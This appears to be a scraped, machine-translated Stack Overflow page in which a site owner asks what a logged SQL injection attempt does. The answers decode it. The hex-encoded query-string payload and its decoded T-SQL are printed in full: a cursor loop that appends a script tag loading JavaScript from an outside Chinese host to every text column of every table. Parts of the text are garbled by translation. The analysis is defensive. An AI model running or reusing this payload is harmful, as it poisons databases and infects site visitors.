Warning: file_get_contents(/data/phpspider/zhask/data//catemap/6/xamarin/3.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Sql server 试图进行SQL注入攻击-他们试图做什么?_Sql Server_Sql Injection - Fatal编程技术网

Sql server 试图进行SQL注入攻击-他们试图做什么?

Sql server 试图进行SQL注入攻击-他们试图做什么?,sql-server,sql-injection,Sql Server,Sql Injection,我有一个面向公众的网站,在过去的几周里,它收到了很多SQL注入攻击。我专门使用参数化存储过程,因此我相信没有成功的攻击,但最近的日志显示了一种有趣的技术: 为清晰起见,添加了换行符 http://www.mydummysite.uk/mypage.asp?l_surname=Z;申报%20@S%20CHAR(4000);设置 @S=铸件(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430302

我有一个面向公众的网站,在过去的几周里,它收到了很多SQL注入攻击。我专门使用参数化存储过程,因此我相信没有成功的攻击,但最近的日志显示了一种有趣的技术:

为清晰起见,添加了换行符

http://www.mydummysite.uk/mypage.asp?l_surname=Z;申报%20@S%20CHAR(4000);设置 @S=铸件(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430302920445434C415245205461626C655F437572736F72204355525234F 5220464F522073656C65637420612E616D616D652C62E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F4375272736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F204054C4043205748494C4528 404046455443485F535455533D302920424547494E20657865632827757064617465 205B272B2B0542B275D20736574205B272B240432B275D3D27223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F77777322E73383030716E2E636E2F6373 7273732F772E2E6A73223E3C2F736726970743E3C212D2D272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B65202725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F77777322E73383030716E2E636E2F637372 73732F772E2E6A73223E3C2F736726970743E3C212D2727294645544348204E455854 2046524F4D20205461626C655F437527272736F7220494E544F204054C404320454E4420443 4C4F5345205461626C655F437572736F7220444541C4C4F4341545205461626C655F43 7572736F72为字符(4000));执行官(@S)&_X=”
有人能解释一下“CAST and EXEC”试图做什么吗?

下面是他们试图推送的解码SQL:

DECLARE @T varchar(255),
        @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT 
FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
  FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 

DEALLOCATE Table_Cursor
DECLARE@T varchar(255),
@C瓦查尔(4000)
声明用于选择a.name、b.name的表\u光标
来自sysobjects a、syscolumns b
其中a.id=b.id
和a.xtype='u'
和(b.xtype=99或b.xtype=35或b.xtype=231或b.xtype=167)
打开下一个表
从表_光标进入@T,@C
而(@@FETCH\u STATUS=0)

BEGIN exec('update['+@T+']集合['+@C+']='')> 当代码从十六进制解加密为字符时,它似乎会遍历所有数据库表,选择所有文本/字符类型的列,并在该类型的每个值的末尾添加一个来自
的恶意脚本执行http://www2.s800qn.cn/csrss/w.js
。现在,如果在您的网站中,您至少有一个地方无法逃离tex如果从您的数据库中检索到数据,则您站点的用户将在其计算机上执行此恶意脚本。

我认为我们以前遇到过此攻击。它试图在数据库中每个表的每个字段中插入一个
标记。

最简单的Python算法是:

text = "4445434C415245204054207661726368617228323535292C404..."

def getText():
    for i in range(0, len(text), 2):
        byte = text[i:i+2]
        char = int(byte, 16)
        toPrint = chr(char)
        yield toPrint

print ''.join(getText())

例如,在mysql中运行:

select CAST(0x44...72 AS CHAR(4000)) as a;
你会知道的,以实玛利粘贴了密码


这是一个SQLserver蠕虫,不是目标atatck。

它是一个广告软件滴管脚本,用于用页面上显示的
标记阻塞数据库。它是经过编码的,因为如果你试图通过URL推送垃圾,大多数服务器都会爆炸


大多数这类攻击都是随机尝试攻击,因为它们会用查询字符串攻击任何东西,但可能是有针对性的攻击。请测试您的网站,确保它不会让来自查询字符串的任何SQL执行。只需使用参数化查询就可以了。

谷歌搜索“十六进制到字符串”给我的是:。在那之后,这是一个简单的SQL漂亮打印问题。非常感谢您如此快速的响应。更简单的解码方法-将上述内容粘贴到查询分析器或等效的查询引擎中。Change exec(@s)打印@s。瞧,有一个巨大的中国僵尸网络在网络上到处流行,在它能找到的每一个页面的每一个表单上都尝试这个。我们每天都会用它进行几次探索——这是一种有用但令人讨厌的方式,表明我们对这种攻击免疫。是的,我还对我的查询字符串和表单字段进行编码,删除尖括号等等他还有其他常见的数据卫生的东西!
select CAST(0x44...72 AS CHAR(4000)) as a;